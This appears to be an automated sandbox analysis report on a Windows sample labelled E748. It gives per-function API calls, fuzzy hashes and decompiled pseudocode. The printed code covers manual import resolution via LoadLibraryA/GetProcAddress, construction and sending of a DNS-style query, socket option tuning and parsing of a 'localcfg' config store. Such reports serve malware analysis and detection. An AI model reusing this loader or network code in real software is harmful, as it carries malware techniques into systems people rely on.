lstrcpyA.KERNEL32(00000000,LocalHost), ref: 0040AD7F

Strings

LocalHost, xrefs: 0040AD79

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: lstrlen$gethostnamelstrcpy
String ID: LocalHost
API String ID: 3695455745-3154191806
Opcode ID: 8a17093f3d26383e77935b758fdadb31e519a4398e40a43d70c627834661f375
Instruction ID: 5e983dddb47fd7e780230f110e9d304ee880480ae48faa8370a3fb9af9ed59c3
Opcode Fuzzy Hash: 8a17093f3d26383e77935b758fdadb31e519a4398e40a43d70c627834661f375
Instruction Fuzzy Hash: FA0149208443895EDF3107289844BEA3F675F9670AF104077E4C0BB692E77C8893835F

Uniqueness

Uniqueness Score: -1.00%

Function 0063B461, Relevance: 7.6, APIs: 5, Instructions: 131timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 0063B503
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0063B512
SystemTimeToFileTime.KERNEL32(?,?), ref: 0063B531
GetTimeZoneInformation.KERNEL32(?), ref: 0063B579
wsprintfA.USER32 ref: 0063B607

Memory Dump Source

Source File: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_630000_E748.jbxd

Yara matches

Similarity

API ID: Time$File$Local$InformationSystemZonewsprintf
String ID:
API String ID: 4026320513-0
Opcode ID: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction ID: d375e5599495b6c59181d6f1d1eca7667c9ee14169e000049d1211a7eace65b7
Opcode Fuzzy Hash: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction Fuzzy Hash: 6B511FB1D0021CAACF14DFD5D8845EEBBBAFF48314F10812AE601A6150E7B94AC9CFD8

Uniqueness

Uniqueness Score: -1.00%

Function 00406069, Relevance: 7.6, APIs: 5, Instructions: 121
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406069(_Unknown_base(*)()* _a4) {
				intOrPtr* _v8;
				signed int _v12;
				struct HINSTANCE__* _v16;
				intOrPtr _t47;
				_Unknown_base(*)()* _t48;
				_Unknown_base(*)()* _t50;
				struct HINSTANCE__* _t52;
				_Unknown_base(*)()* _t53;
				_Unknown_base(*)()* _t54;
				_Unknown_base(*)()* _t55;
				signed int _t56;
				_Unknown_base(*)()* _t59;
				_Unknown_base(*)()* _t62;
				_Unknown_base(*)()* _t63;
				intOrPtr _t69;
				_Unknown_base(*)()* _t76;
				_Unknown_base(*)()* _t77;
				intOrPtr* _t82;
				void* _t85;
				intOrPtr* _t87;
				_Unknown_base(*)()* _t89;

				_t82 = _a4;
				_t47 =  *_t82;
				_t3 = _t82 + 4; // 0x65e85621
				_t69 =  *_t3;
				_v12 = 1;
				if( *((intOrPtr*)(_t47 + 0x84)) != 0) {
					_t85 =  *((intOrPtr*)(_t47 + 0x80)) + _t69;
					_t48 = IsBadReadPtr(_t85, 0x14);
					__eflags = _t48;
					if(_t48 != 0) {
						L29:
						return _v12;
					}
					_t87 = _t85 + 0x10;
					_v8 = _t87;
					while(1) {
						_t50 =  *(_t87 - 4);
						__eflags = _t50;
						if(_t50 == 0) {
							goto L29;
						}
						_t52 = LoadLibraryA(_t50 + _t69);
						_v16 = _t52;
						__eflags = _t52 - 0xffffffff;
						if(_t52 == 0xffffffff) {
							L28:
							_t44 =  &_v12;
							 *_t44 = _v12 & 0x00000000;
							__eflags =  *_t44;
							goto L29;
						}
						_t10 = _t82 + 8; // 0x8bfffffa
						_t53 =  *_t10;
						__eflags = _t53;
						if(_t53 != 0) {
							_t14 = _t82 + 0xc; // 0x28408b06
							_t54 = E0040EBED(_t53, 4 +  *_t14 * 4);
						} else {
							_t11 = _t82 + 0xc; // 0x28408b06
							_t54 = E0040EBCC(4 +  *_t11 * 4);
						}
						 *(_t82 + 8) = _t54;
						__eflags = _t54;
						if(_t54 == 0) {
							goto L28;
						} else {
							_t18 = _t82 + 0xc; // 0x28408b06
							 *((intOrPtr*)(_t54 +  *_t18 * 4)) = _v16;
							 *(_t82 + 0xc) =  *(_t82 + 0xc) + 1;
							_t55 =  *(_t87 - 0x10);
							__eflags = _t55;
							if(_t55 == 0) {
								_t89 =  *_t87 + _t69;
								__eflags = _t89;
								_t76 = _t89;
							} else {
								_t89 = _t55 + _t69;
								_t76 =  *_v8 + _t69;
							}
							_t56 =  *_t89;
							__eflags = _t56;
							if(_t56 == 0) {
								L25:
								__eflags = _v12;
								if(_v12 == 0) {
									goto L29;
								}
								_v8 = _v8 + 0x14;
								_t59 = IsBadReadPtr(_v8 + 0xfffffff0, 0x14);
								__eflags = _t59;
								if(_t59 == 0) {
									_t87 = _v8;
									continue;
								}
								goto L29;
							} else {
								_a4 = _t76;
								_a4 = _a4 - _t89;
								__eflags = _t56;
								do {
									if(__eflags >= 0) {
										_t62 = GetProcAddress(_v16, _t56 + _t69 + 2);
										__eflags = _t62;
										if(_t62 == 0) {
											L21:
											_t63 = _a4;
											__eflags =  *(_t63 + _t89);
											if( *(_t63 + _t89) == 0) {
												_t38 =  &_v12;
												 *_t38 = _v12 & 0x00000000;
												__eflags =  *_t38;
												goto L25;
											}
											goto L22;
										}
										_t77 = _a4;
										__eflags = _t62 -  *(_t77 + _t89);
										if(_t62 ==  *(_t77 + _t89)) {
											goto L21;
										}
										L20:
										 *(_t77 + _t89) = _t62;
										goto L21;
									}
									_t62 = GetProcAddress(_v16, _t56 & 0x0000ffff);
									_t77 = _a4;
									goto L20;
									L22:
									_t89 = _t89 + 4;
									_t56 =  *_t89;
									__eflags = _t56;
								} while (__eflags != 0);
								goto L25;
							}
						}
					}
					goto L29;
				}
				return 1;
			}

0x00406071
0x00406074
0x0040607c
0x0040607c
0x00406082
0x00406087
0x00406099
0x0040609c
0x004060a2
0x004060a4
0x004061b2
0x00000000
0x004061b5
0x004060aa
0x004060ad
0x004060b5
0x004060b5
0x004060b8
0x004060ba
0x00000000
0x00000000
0x004060c3
0x004060c9
0x004060cc
0x004060cf
0x004061ae
0x004061ae
0x004061ae
0x004061ae
0x00000000
0x004061ae
0x004060d5
0x004060d5
0x004060d8
0x004060da
0x004060ee
0x004060fa
0x004060dc
0x004060dc
0x004060e7
0x004060e7
0x00406101
0x00406104
0x00406106
0x00000000
0x0040610c
0x0040610c
0x00406112
0x00406115
0x00406118
0x0040611b
0x0040611d
0x0040612d
0x0040612d
0x0040612f
0x0040611f
0x0040611f
0x00406127
0x00406127
0x00406131
0x00406133
0x00406135
0x0040618b
0x0040618b
0x0040618f
0x00000000
0x00000000
0x00406191
0x0040619e
0x004061a4
0x004061a6
0x004060b2
0x00000000
0x004060b2
0x00000000
0x00406137
0x00406137
0x0040613a
0x0040613d
0x0040613f
0x0040613f
0x0040615e
0x00406164
0x00406166
0x00406173
0x00406173
0x00406176
0x0040617a
0x00406187
0x00406187
0x00406187
0x00000000
0x00406187
0x00000000
0x0040617a
0x00406168
0x0040616b
0x0040616e
0x00000000
0x00000000
0x00406170
0x00406170
0x00000000
0x00406170
0x0040614a
0x00406150
0x00000000
0x0040617c
0x0040617c
0x0040617f
0x00406181
0x00406181
0x00000000
0x00406185
0x00406135
0x00406106
0x00000000
0x004060b5
0x00000000

APIs

IsBadReadPtr.KERNEL32(?,00000014,00000000,?,00000000,?,004064CF,00000000), ref: 0040609C
LoadLibraryA.KERNEL32(?,?,004064CF,00000000), ref: 004060C3
GetProcAddress.KERNEL32(?,00000014), ref: 0040614A
IsBadReadPtr.KERNEL32(-000000DC,00000014), ref: 0040619E

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: Read$AddressLibraryLoadProc
String ID:
API String ID: 2438460464-0
Opcode ID: beeb212f6d5b41c5424ed959fb710d65fbebcae36a96b2ee910fcd89165a7e78
Instruction ID: 2c66ad34c3d6fb1da92a891872b73c8746f5f3d5bf62d79dfacd6c24df0475f4
Opcode Fuzzy Hash: beeb212f6d5b41c5424ed959fb710d65fbebcae36a96b2ee910fcd89165a7e78
Instruction Fuzzy Hash: D5418C71A00105AFDB10CF58C884BAAB7B9EF14354F26807AE816EB3D1D738ED61CB84

Uniqueness

Uniqueness Score: -1.00%

Function 006362B9, Relevance: 7.6, APIs: 5, Instructions: 121libraryloaderCOMMON

Download Yara Rule

APIs

IsBadHugeReadPtr.KERNEL32(?,00000014), ref: 006362EC
LoadLibraryA.KERNEL32(?), ref: 00636313
GetProcAddress.KERNEL32(00000000,?), ref: 0063639A
IsBadHugeReadPtr.KERNEL32(-000000DC,00000014), ref: 006363EE

Memory Dump Source

Source File: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_630000_E748.jbxd

Yara matches

Similarity

API ID: HugeRead$AddressLibraryLoadProc
String ID:
API String ID: 3498078134-0
Opcode ID: 22151fd6ac6a99dd14e45186f4812a7dac7af9c00bb3bb0eb99ee7530713bb62
Instruction ID: 5017720ee6ff39d76f1f5ec351380e1277d341eda39fc043bc482f90b2eae680
Opcode Fuzzy Hash: 22151fd6ac6a99dd14e45186f4812a7dac7af9c00bb3bb0eb99ee7530713bb62
Instruction Fuzzy Hash: 95413AB1A00119BBEB14CF58C884AAAB7BAEF14354F25C169F856D7390E731ED45CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 00402923, Relevance: 7.6, APIs: 5, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E00402923(void* __ecx, void* __esi, intOrPtr _a4) {
				signed int* _v8;
				signed int* _v12;
				signed int* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				signed short _v28;
				short _v30;
				short _v32;
				char _v292;
				char _v296;
				void* __ebx;
				void* __edi;
				void* _t37;
				intOrPtr _t41;
				signed int* _t42;
				signed short _t53;
				signed int** _t62;
				void* _t67;
				void* _t70;
				intOrPtr _t71;
				intOrPtr* _t79;
				signed int* _t80;
				void* _t81;
				void* _t82;
				void* _t83;

				_t81 = __esi;
				_t37 = 0xc;
				_v8 = 0;
				_v16 = 0;
				if(_a4 >= _t37) {
					_t67 = E00402816(_t37, __esi, __ecx, __esi, _a4);
					if(_t67 < _a4) {
						_t76 =  *(__esi + 6) & 0x0000ffff;
						_t41 = ( *(__esi + 0xa) & 0x0000ffff) + ( *(__esi + 8) & 0x0000ffff) + ( *(__esi + 6) & 0x0000ffff);
						_v20 = _t41;
						_v12 = 0;
						if(_t41 <= 0) {
							L13:
							_t42 = _v16;
							L14:
							return _t42;
						}
						while(_t67 < _a4) {
							E0040EE2A(_t76,  &_v296, 0, 0x114);
							_t70 = E00402871(_t67, _t81, _t76,  &_v292, _a4);
							_t15 = _t70 + 0xa; // 0xa
							_t83 = _t82 + 0x10;
							if(_t15 >= _a4) {
								goto L13;
							}
							_t79 = __imp__#15;
							_v32 =  *_t79( *(_t70 + _t81) & 0x0000ffff);
							_v30 =  *_t79( *(_t70 + _t81 + 2) & 0x0000ffff);
							_t53 =  *_t79( *(_t70 + _t81 + 8) & 0x0000ffff);
							_v28 = _t53;
							_t71 = _t70 + 0xa;
							_v24 = _t71;
							if((_t53 & 0x0000ffff) + _t71 > _a4) {
								goto L13;
							}
							_t80 = HeapAlloc(GetProcessHeap(), 0, 0x124);
							if(_t80 == 0) {
								goto L13;
							}
							E0040EE2A(_t76, _t80, 0, 0x124);
							E0040EE08(_t80,  &_v296, 0x114);
							 *_t80 =  *_t80 & 0x00000000;
							_t67 = _t71 + (_v28 & 0x0000ffff);
							_t62 = _v8;
							_t82 = _t83 + 0x18;
							_v8 = _t80;
							if(_t62 != 0) {
								 *_t62 = _t80;
							} else {
								_v16 = _t80;
							}
							_v12 = _v12 + 1;
							if(_v12 < _v20) {
								continue;
							} else {
								goto L13;
							}
						}
						goto L13;
					}
					_t42 = 0;
					goto L14;
				}
				return 0;
			}

0x00402923
0x00402931
0x00402932
0x00402935
0x0040293b
0x00402950
0x00402957
0x0040296a
0x0040296e
0x00402970
0x00402973
0x00402978
0x00402a5b
0x00402a5b
0x00402a5e
0x00000000
0x00402a5e
0x0040297e
0x00402995
0x004029ac
0x004029ae
0x004029b1
0x004029b7
0x00000000
0x00000000
0x004029c1
0x004029ca
0x004029d6
0x004029e0
0x004029e2
0x004029e6
0x004029ee
0x004029f4
0x00000000
0x00000000
0x00402a0a
0x00402a0e
0x00000000
0x00000000
0x00402a18
0x00402a2a
0x00402a33
0x00402a36
0x00402a38
0x00402a3b
0x00402a3e
0x00402a43
0x00402a4a
0x00402a45
0x00402a45
0x00402a45
0x00402a4c
0x00402a55
0x00000000
0x00000000
0x00000000
0x00000000
0x00402a55
0x00000000
0x0040297e
0x00402959
0x00000000
0x00402959
0x00000000

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d7be85cd36f3663e93a2a6933a3c0dd16534f9087a3b26c869853f350d83737
Instruction ID: 0bfd2bf0caf83722c61519a9099cbfb16c0865a6a5fe5c2769a2057d5fd36f2a
Opcode Fuzzy Hash: 7d7be85cd36f3663e93a2a6933a3c0dd16534f9087a3b26c869853f350d83737
Instruction Fuzzy Hash: 2931A471A00219ABCB109FA6CD85ABEB7F4FF48705F10846BF504F62C1E7B8D6418B68

Uniqueness

Uniqueness Score: -1.00%

Function 0040E654, Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 96
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E654(intOrPtr _a4, intOrPtr _a8, CHAR* _a12) {
				intOrPtr _t30;
				CHAR* _t31;
				int _t34;
				intOrPtr* _t41;
				intOrPtr* _t42;
				void* _t47;
				intOrPtr _t51;
				int _t52;
				void* _t53;
				intOrPtr _t54;
				void* _t55;
				char _t59;

				E0040DD05();
				_t41 = 0x4120e8;
				_t55 =  *0x4120e8 - 0x4120e8; // 0x4120e8
				if(_t55 == 0) {
					L9:
					_t53 = E0040EBCC(0x1c);
					if(_t53 != 0) {
						 *((intOrPtr*)(_t53 + 0x18)) = _a4;
						 *((intOrPtr*)(_t53 + 4)) = _a8;
						E00403E8F(0x4120e8, _t53);
						__eflags = _a12;
						if(_a12 == 0) {
							 *(_t53 + 8) = 0;
						} else {
							_t15 = _t53 + 8; // 0x8
							lstrcpynA(_t15, _a12, 0xf);
							 *((char*)(_t53 + 0x17)) = 0;
						}
						L15:
						_t42 = 0x4120e4;
						__eflags =  *0x4120e4 - _t42; // 0x4120e4
						if(__eflags == 0) {
							L22:
							_t47 = 1;
							L11:
							E0040DD69();
							return _t47;
						} else {
							goto L16;
						}
						do {
							L16:
							_t30 =  *((intOrPtr*)(_t53 + 4));
							_t51 =  *_t42;
							__eflags = _t30 - 0xffffffff;
							if(_t30 == 0xffffffff) {
								L18:
								_t20 = _t53 + 8; // 0x8
								_t31 = _t20;
								__eflags =  *_t31;
								if( *_t31 == 0) {
									L20:
									_t52 = _t51 + 0xc;
									__eflags = _t52;
									 *((intOrPtr*)(_t53 + 0x18))(_t52, 1);
									goto L21;
								}
								_t34 = lstrcmpA(_t51 + 0x10, _t31);
								__eflags = _t34;
								if(_t34 != 0) {
									goto L21;
								}
								goto L20;
							}
							__eflags =  *(_t51 + 0xc) - _t30;
							if( *(_t51 + 0xc) != _t30) {
								goto L21;
							}
							goto L18;
							L21:
							_t42 =  *_t42;
							__eflags =  *_t42 - 0x4120e4;
						} while ( *_t42 != 0x4120e4);
						goto L22;
					}
					_t47 = 0;
					goto L11;
				} else {
					goto L1;
				}
				do {
					L1:
					_t54 =  *_t41;
					if( *((intOrPtr*)(_t54 + 0x18)) == _a4 &&  *((intOrPtr*)(_t54 + 4)) == _a8) {
						if(_a12 != 0) {
							_t8 = _t54 + 8; // 0x73b743e8
							__eflags = lstrcmpA(_t8, _a12);
						} else {
							_t59 =  *(_t54 + 8);
						}
						if(_t59 == 0) {
							break;
						} else {
							goto L7;
						}
					}
					L7:
					_t41 =  *_t41;
					_t53 = 0;
				} while ( *_t41 != 0x4120e8);
				if(_t53 != 0) {
					goto L15;
				}
				goto L9;
			}

0x0040e65a
0x0040e664
0x0040e666
0x0040e66c
0x0040e6a9
0x0040e6b0
0x0040e6b5
0x0040e6c8
0x0040e6d0
0x0040e6d3
0x0040e6d8
0x0040e6de
0x0040e6f5
0x0040e6e0
0x0040e6e5
0x0040e6e9
0x0040e6ef
0x0040e6ef
0x0040e6f9
0x0040e6f9
0x0040e6fe
0x0040e704
0x0040e741
0x0040e743
0x0040e6b9
0x0040e6b9
0x0040e6c4
0x00000000
0x00000000
0x00000000
0x0040e706
0x0040e706
0x0040e706
0x0040e709
0x0040e70b
0x0040e70e
0x0040e715
0x0040e715
0x0040e715
0x0040e718
0x0040e71b
0x0040e72c
0x0040e72c
0x0040e72c
0x0040e732
0x00000000
0x0040e736
0x0040e722
0x0040e728
0x0040e72a
0x00000000
0x00000000
0x00000000
0x0040e72a
0x0040e710
0x0040e713
0x00000000
0x00000000
0x00000000
0x0040e737
0x0040e737
0x0040e739
0x0040e739
0x00000000
0x0040e706
0x0040e6b7
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e66e
0x0040e66e
0x0040e66e
0x0040e676
0x0040e684
0x0040e68f
0x0040e699
0x0040e686
0x0040e686
0x0040e686
0x0040e69b
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e69b
0x0040e69d
0x0040e69d
0x0040e69f
0x0040e6a1
0x0040e6a7
0x00000000
0x00000000
0x00000000

APIs

Part of subcall function 0040DD05: GetTickCount.KERNEL32 ref: 0040DD0F
Part of subcall function 0040DD05: InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
Part of subcall function 0040DD05: GetCurrentThreadId.KERNEL32 ref: 0040DD53

lstrcmpA.KERNEL32(73B743E8,00000000,?,73B743E0,00000000,?,00405EC1), ref: 0040E693
lstrcpynA.KERNEL32(00000008,00000000,0000000F,?,73B743E0,00000000,?,00405EC1), ref: 0040E6E9
lstrcmpA.KERNEL32(?,00000008,?,73B743E0,00000000,?,00405EC1), ref: 0040E722

Strings

A, xrefs: 0040E6F9, 0040E6FE, 0040E739
A, xrefs: 0040E65F, 0040E666, 0040E6CF, 0040E731

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: lstrcmp$CountCurrentExchangeInterlockedThreadTicklstrcpyn
String ID: A$ A
API String ID: 3343386518-686259309
Opcode ID: 951ece8c2afd944643beef7ac70d50e077dd33d1a65e809f7a70b3905a3fc363
Instruction ID: 47b803fc1c440cad9c550ff35358ad860d5bc2ca4051ff98ce99c32b6473ed9c
Opcode Fuzzy Hash: 951ece8c2afd944643beef7ac70d50e077dd33d1a65e809f7a70b3905a3fc363
Instruction Fuzzy Hash: CC31C031600301DBCB318F66E8847977BE4AB24314F508D3BE555A7690D779E8A0CB89

Uniqueness

Uniqueness Score: -1.00%

Function 004026FF, Relevance: 7.6, APIs: 5, Instructions: 96
networkCOMMON

Download Yara Rule

C-Code - Quality: 26%

			E004026FF(intOrPtr* __eax, intOrPtr _a4, intOrPtr _a8, long _a12) {
				long* _t33;
				long _t35;
				long* _t36;
				long _t37;
				long _t38;
				short _t39;
				short _t40;
				char _t42;
				intOrPtr _t43;
				void* _t48;
				long* _t49;
				long* _t51;
				long* _t52;
				long* _t53;
				long* _t54;
				void* _t55;
				long* _t56;
				long* _t57;
				long* _t60;
				intOrPtr* _t63;
				intOrPtr* _t65;
				void* _t66;

				_t65 = __eax;
				_t33 =  *0x412bf8; // 0x0
				_t42 = 0;
				if(_t33 == 0) {
					_t33 = E0040EBCC(0x400);
					_pop(_t48);
					 *0x412bf8 = _t33;
				}
				E0040EE2A(_t48, _t33, _t42, 0x400);
				_t35 = GetTickCount();
				_t49 =  *0x412bf8; // 0x0
				_t63 = __imp__#9;
				 *_t49 = _t35;
				_t36 =  *0x412bf8; // 0x0
				_t36[0] = _a12;
				_t37 =  *_t63(1);
				_t51 =  *0x412bf8; // 0x0
				_t51[1] = _t37;
				_t52 =  *0x412bf8; // 0x0
				_t38 = 0;
				_t52[1] = 0;
				_t53 =  *0x412bf8; // 0x0
				_t53[2] = 0;
				_t54 =  *0x412bf8; // 0x0
				_t54[2] = 0;
				_t60 =  *0x412bf8; // 0x0
				_t55 = 0;
				if( *_t65 != _t42) {
					do {
						_t43 =  *((intOrPtr*)(_t38 + _t65));
						_a12 = _t38;
						while(_t43 != 0) {
							if(_t43 != 0x2e) {
								_a12 = _a12 + 1;
								_t43 =  *((intOrPtr*)(_a12 + _t65));
								continue;
							}
							break;
						}
						 *((char*)(_t55 +  &(_t60[3]))) = _a12 - _t38;
						_t55 = _t55 + 1;
						while(_t38 < _a12) {
							 *((char*)(_t55 +  &(_t60[3]))) =  *((intOrPtr*)(_t38 + _t65));
							_t55 = _t55 + 1;
							_t38 = _t38 + 1;
						}
						if( *((char*)(_t38 + _t65)) == 0x2e) {
							_t38 = _t38 + 1;
						}
						_t42 = 0;
					} while ( *((intOrPtr*)(_t38 + _t65)) != 0);
				}
				 *((char*)(_t55 +  &(_t60[3]))) = _t42;
				_t24 = _t55 + 0xd; // 0xf
				_t66 = _t24;
				_t39 =  *_t63(0xf);
				_t56 =  *0x412bf8; // 0x0
				 *((short*)(_t56 + _t66)) = _t39;
				_t40 =  *_t63(1);
				_t57 =  *0x412bf8; // 0x0
				 *((short*)(_t57 + _t66 + 2)) = _t40;
				__imp__#20(_a4, 0x412bf8, _t66 + 4, _t42, _a8, 0x10);
				return 0 | _t40 <= 0x00000000;
			}

0x00402704
0x00402706
0x0040270b
0x00402715
0x00402718
0x0040271d
0x0040271e
0x0040271e
0x00402726
0x0040272e
0x00402734
0x0040273a
0x00402740
0x00402743
0x0040274e
0x00402752
0x00402754
0x0040275a
0x0040275e
0x00402764
0x00402766
0x0040276a
0x00402770
0x00402774
0x0040277a
0x0040277e
0x00402784
0x00402788
0x0040278a
0x0040278a
0x0040278d
0x004027a0
0x00402795
0x00402797
0x0040279d
0x00000000
0x0040279d
0x00000000
0x00402795
0x004027a9
0x004027ad
0x004027b9
0x004027b3
0x004027b7
0x004027b8
0x004027b8
0x004027c2
0x004027c4
0x004027c4
0x004027c5
0x004027c7
0x0040278a
0x004027ce
0x004027d2
0x004027d2
0x004027d5
0x004027d7
0x004027df
0x004027e3
0x004027e5
0x004027f0
0x00402802
0x00402815

APIs

GetTickCount.KERNEL32 ref: 0040272E
htons.WS2_32(00000001), ref: 00402752
htons.WS2_32(0000000F), ref: 004027D5
htons.WS2_32(00000001), ref: 004027E3
sendto.WS2_32(?,00412BF8,00000009,00000000,00000010,00000010), ref: 00402802

Part of subcall function 0040EBCC: GetProcessHeap.KERNEL32(00000000,00000000,80000001,0040EBFE,7FFF0001,?,0040DB55,7FFF0001), ref: 0040EBD3
Part of subcall function 0040EBCC: RtlAllocateHeap.NTDLL(00000000,?,0040DB55,7FFF0001), ref: 0040EBDA

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: htons$Heap$AllocateCountProcessTicksendto
String ID:
API String ID: 1128258776-0
Opcode ID: 6299894b8f3bc0cc0dfae645a3d09159b09bee40e3d6069153e68f679ff52250
Instruction ID: e317574a351225f02cdc10e669db3389ba019fd1a924c3d0ab3f78f3d9a30560
Opcode Fuzzy Hash: 6299894b8f3bc0cc0dfae645a3d09159b09bee40e3d6069153e68f679ff52250
Instruction Fuzzy Hash: B8313A342483969FD7108F74DD80AA27760FF19318B19C07EE855DB3A2D6B6E892D718

Uniqueness

Uniqueness Score: -1.00%

Function 0040F26D, Relevance: 7.6, APIs: 5, Instructions: 63COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(00000000,0000FFFF,00000004,00000000,00000004), ref: 0040F2A0
setsockopt.WS2_32(00000004,0000FFFF,00001005,00000004,00000004), ref: 0040F2C0
setsockopt.WS2_32(00000004,0000FFFF,00001006,00000004,00000004), ref: 0040F2DD
setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 0040F2EC
setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 0040F2FD

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: 8b4be0266ee07c3102769aa2bfb0f3fbe40b153d7f42fbd5c93fb3948aedae23
Instruction ID: 54276ff97121d9260d4f5268cf3942b14174050ddbce03adff589c8218e6c2bb
Opcode Fuzzy Hash: 8b4be0266ee07c3102769aa2bfb0f3fbe40b153d7f42fbd5c93fb3948aedae23
Instruction Fuzzy Hash: 6B110AB2A40248BAEF11DF94CD85FDE7FBCEB44751F008066BB04EA1D0E6B19A44CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00402419, Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 45
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402419(void* __ecx, CHAR* _a4, intOrPtr _a8, CHAR* _a12) {
				int _v8;
				int _t18;
				intOrPtr _t20;
				CHAR* _t21;
				int _t30;
				CHAR* _t36;

				_t18 = lstrlenA(_a12);
				_t36 = _a4;
				_v8 = _t18;
				_t20 = _a8 + _t36;
				_a8 = _t20;
				if(_t36 >= _t20) {
					L5:
					_t21 = 0;
				} else {
					while(1) {
						_t30 = lstrlenA(_t36);
						_t7 =  &(_t36[1]); // 0x1
						_a4 = _t30 + _t7;
						if(_v8 == _t30 && lstrcmpiA(_t36, _a12) == 0 && _a4 < _a8) {
							break;
						}
						_t36 =  &(_t36[lstrlenA(_a4) + _t30 + 2]);
						if(_t36 < _a8) {
							continue;
						} else {
							goto L5;
						}
						goto L6;
					}
					_t21 = _a4;
				}
				L6:
				return _t21;
			}

0x00402429
0x0040242b
0x0040242e
0x00402434
0x00402436
0x0040243b
0x00402474
0x00402474
0x0040243d
0x0040243d
0x00402440
0x00402442
0x00402446
0x0040244c
0x00000000
0x00000000
0x0040246b
0x00402472
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00402472
0x0040247b
0x0040247b
0x00402476
0x0040247a

APIs

lstrlenA.KERNEL32(?,localcfg,?,00000000,?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001), ref: 00402429
lstrlenA.KERNEL32(?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001,00401E3D,00000001,localcfg,lid_file_upd), ref: 0040243E
lstrcmpiA.KERNEL32(?,?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001,00401E3D,00000001,localcfg), ref: 00402452
lstrlenA.KERNEL32(?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001,00401E3D,00000001,localcfg,lid_file_upd), ref: 00402467

Strings

localcfg, xrefs: 0040241F

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcmpi
String ID: localcfg
API String ID: 1808961391-1857712256
Opcode ID: e0652b8e6b882c26303073c97bc729d70adad1496f82cefeb83b9b40d862f6ea
Instruction ID: 10b525c6ae3f8891cd48fd25e34f392daf9ed257baad57177c8ccf48abf1fcea
Opcode Fuzzy Hash: e0652b8e6b882c26303073c97bc729d70adad1496f82cefeb83b9b40d862f6ea
Instruction Fuzzy Hash: B4011A31600218EFCF11EF69DD888DE7BA9EF44354B01C436E859A7250E3B4EA408A98

Uniqueness

Uniqueness Score: -1.00%

Function 004375B4, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00437613
_memset.LIBCMT ref: 0043769C
__invalid_parameter.LIBCMTD ref: 004376FB

Strings

P, xrefs: 00437710

Memory Dump Source

Source File: 00000011.00000002.953574496.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_E748.jbxd

Similarity

API ID: _memset$__invalid_parameter
String ID: P
API String ID: 2178901135-3110715001
